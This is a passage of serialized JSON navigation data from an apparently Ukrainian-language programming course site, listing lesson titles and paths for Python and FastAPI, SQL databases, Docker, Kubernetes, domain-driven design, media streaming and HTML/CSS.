super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2715,"path":2716,"stem":2717},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2719,"path":2720,"stem":2721},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2723,"path":2724,"stem":2725},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2727,"path":2728,"stem":2729},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2731,"path":2732,"stem":2733},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2735,"path":2736,"stem":2737},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2739,"path":2740,"stem":2741},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2743,"path":2744,"stem":2745},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2747,"path":2748,"stem":2749},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2751,"path":2752,"stem":2753},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2755,"icon":92,"path":2756,"stem":2757,"children":2758,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2759,2763,2767,2771,2775,2779,2783,2787,2791,2795,2799,2803,2807,2811],{"title":2760,"path":2761,"stem":2762},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2764,"path":2765,"stem":2766},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2768,"path":2769,"stem":2770},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2772,"path":2773,"stem":2774},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2776,"path":2777,"stem":2778},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2780,"path":2781,"stem":2782},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2784,"path":2785,"stem":2786},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2788,"path":2789,"stem":2790},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2792,"path":2793,"stem":2794},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2796,"path":2797,"stem":2798},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2800,"path":2801,"stem":2802},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2804,"path":2805,"stem":2806},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2808,"path":2809,"stem":2810},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2812,"path":2813,"stem":2814},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2816,"path":2817,"stem":2818},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2820,"icon":2821,"path":2822,"stem":2823,"children":2824,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2825,2855,2878,2915,2944,2962,2996,3008,3017],{"title":2826,"icon":2827,"path":2828,"stem":2829,"children":2830,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2831,2835,2839,2843,2847,2851],{"title":2832,"path":2833,"stem":2834},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2836,"path":2837,"stem":2838},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2840,"path":2841,"stem":2842},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2844,"path":2845,"stem":2846},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2848,"path":2849,"stem":2850},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2852,"path":2853,"stem":2854},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2856,"icon":2821,"path":2857,"stem":2858,"children":2859,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2860,2864,2870,2874],{"title":2861,"path":2862,"stem":2863},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2865,"path":2866,"stem":2867,"children":2868},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2869],{"title":2865,"path":2866,"stem":2867},{"title":2871,"path":2872,"stem":2873},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2875,"path":2876,"stem":2877},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2879,"icon":2821,"path":2880,"stem":2881,"children":2882,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2883,2887,2891,2895,2899,2903,2907,2911],{"title":2884,"path":2885,"stem":2886},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2888,"path":2889,"stem":2890},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2892,"path":2893,"stem":2894},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2896,"path":2897,"stem":2898},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2900,"path":2901,"stem":2902},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2904,"path":2905,"stem":2906},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2908,"path":2909,"stem":2910},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2912,"path":2913,"stem":2914},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2916,"icon":2821,"path":2917,"stem":2918,"children":2919,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2920,2924,2928,2932,2936,2940],{"title":2921,"path":2922,"stem":2923},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2925,"path":2926,"stem":2927},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2929,"path":2930,"stem":2931},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2933,"path":2934,"stem":2935},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2937,"path":2938,"stem":2939},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2941,"path":2942,"stem":2943},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2945,"icon":2946,"path":2947,"stem":2948,"children":2949,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2950,2954,2958],{"title":2951,"path":2952,"stem":2953},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2955,"path":2956,"stem":2957},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2959,"path":2960,"stem":2961},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2963,"icon":2964,"path":2965,"stem":2966,"children":2967,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2968,2972,2976,2980,2984,2988,2992],{"title":2969,"path":2970,"stem":2971},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2973,"path":2974,"stem":2975},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2977,"path":2978,"stem":2979},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2981,"path":2982,"stem":2983},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2985,"path":2986,"stem":2987},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2989,"path":2990,"stem":2991},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2993,"path":2994,"stem":2995},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2993,"icon":793,"path":2997,"stem":2998,"children":2999,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[3000,3004],{"title":3001,"path":3002,"stem":3003},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":3005,"path":3006,"stem":3007},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":3009,"icon":3010,"path":3011,"stem":3012,"children":3013,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[3014],{"title":3009,"path":3015,"stem":3016},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":3018,"icon":3019,"path":3020,"stem":3021,"children":3022,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[3023],{"title":3018,"path":3024,"stem":3025},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":3027,"icon":3028,"path":3029,"stem":3030,"children":3031,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[3032,3108],{"title":3033,"icon":3034,"path":3035,"stem":3036,"children":3037},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[3038,3040,3044,3048,3052,3056,3060,3064,3068,3072,3076,3080,3084,3088,3092,3096,3100,3104],{"title":3039,"path":3035,"stem":3036},"Docker: від нуля до production",{"title":3041,"path":3042,"stem":3043},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":3045,"path":3046,"stem":3047},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":3049,"path":3050,"stem":3051},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":3053,"path":3054,"stem":3055},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":3057,"path":3058,"stem":3059},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":3061,"path":3062,"stem":3063},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":3065,"path":3066,"stem":3067},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":3069,"path":3070,"stem":3071},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":3073,"path":3074,"stem":3075},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":3077,"path":3078,"stem":3079},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":3081,"path":3082,"stem":3083},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":3085,"path":3086,"stem":3087},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":3089,"path":3090,"stem":3091},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":3093,"path":3094,"stem":3095},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":3097,"path":3098,"stem":3099},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":3101,"path":3102,"stem":3103},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":3105,"path":3106,"stem":3107},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":3109,"icon":3110,"path":3111,"stem":3112,"children":3113},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[3114,3116,3120,3124,3128,3132,3136,3140,3144],{"title":3115,"path":3111,"stem":3112},"Kubernetes: від розробки до production",{"title":3117,"path":3118,"stem":3119},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":3121,"path":3122,"stem":3123},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":3125,"path":3126,"stem":3127},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":3129,"path":3130,"stem":3131},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":3133,"path":3134,"stem":3135},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":3137,"path":3138,"stem":3139},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":3141,"path":3142,"stem":3143},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":3145,"path":3146,"stem":3147},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3149,"icon":3150,"path":3151,"stem":3152,"children":3153,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3154,3158,3162,3166,3170,3174,3178,3182,3186,3190,3194],{"title":3155,"path":3156,"stem":3157},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3159,"path":3160,"stem":3161},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3163,"path":3164,"stem":3165},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3167,"path":3168,"stem":3169},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3171,"path":3172,"stem":3173},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3175,"path":3176,"stem":3177},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3179,"path":3180,"stem":3181},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3183,"path":3184,"stem":3185},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3187,"path":3188,"stem":3189},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3191,"path":3192,"stem":3193},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3195,"path":3196,"stem":3197},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3199,"icon":943,"path":3200,"stem":3201,"children":3202,"page":59},"DDD","\u002Fddd","10.ddd",[3203,3207,3211,3215,3219,3223,3227,3231,3235,3239,3243,3247,3251],{"title":3204,"path":3205,"stem":3206},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3208,"path":3209,"stem":3210},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3212,"path":3213,"stem":3214},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3216,"path":3217,"stem":3218},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3220,"path":3221,"stem":3222},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3224,"path":3225,"stem":3226},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3228,"path":3229,"stem":3230},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3232,"path":3233,"stem":3234},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3236,"path":3237,"stem":3238},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3240,"path":3241,"stem":3242},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3244,"path":3245,"stem":3246},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3248,"path":3249,"stem":3250},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3252,"path":3253,"stem":3254},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3256,"icon":3257,"path":3258,"stem":3259,"children":3260,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3261,3265,3269,3273,3277,3281,3285],{"title":3262,"path":3263,"stem":3264},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3266,"path":3267,"stem":3268},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3270,"path":3271,"stem":3272},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3274,"path":3275,"stem":3276},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3278,"path":3279,"stem":3280},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3282,"path":3283,"stem":3284},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3286,"path":3287,"stem":3288},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3290,"icon":3291,"path":3292,"stem":3293,"children":3294,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3295,3299,3303,3307,3311,3315,3319,3323,3327,3331,3335,3339,3343,3347,3351,3355,3359,3363,3367,3371,3375,3379,3383,3387,3391,3395,3399,3403,3407,3411],{"title":3296,"path":3297,"stem":3298},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3300,"path":3301,"stem":3302},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3304,"path":3305,"stem":3306},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3308,"path":3309,"stem":3310},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3312,"path":3313,"stem":3314},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3316,"path":3317,"stem":3318},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3320,"path":3321,"stem":3322},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3324,"path":3325,"stem":3326},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3328,"path":3329,"stem":3330},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3332,"path":3333,"stem":3334},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3336,"path":3337,"stem":3338},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3340,"path":3341,"stem":3342},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3344,"path":3345,"stem":3346},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3348,"path":3349,"stem":3350},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3352,"path":3353,"stem":3354},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3356,"path":3357,"stem":3358},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3360,"path":3361,"stem":3362},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3364,"path":3365,"stem":3366},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3368,"path":3369,"stem":3370},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3372,"path":3373,"stem":3374},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3376,"path":3377,"stem":3378},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3380,"path":3381,"stem":3382},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3384,"path":3385,"stem":3386},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3388,"path":3389,"stem":3390},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3392,"path":3393,"stem":3394},"CSS Nesting, @layer, @scope та @property: нативний 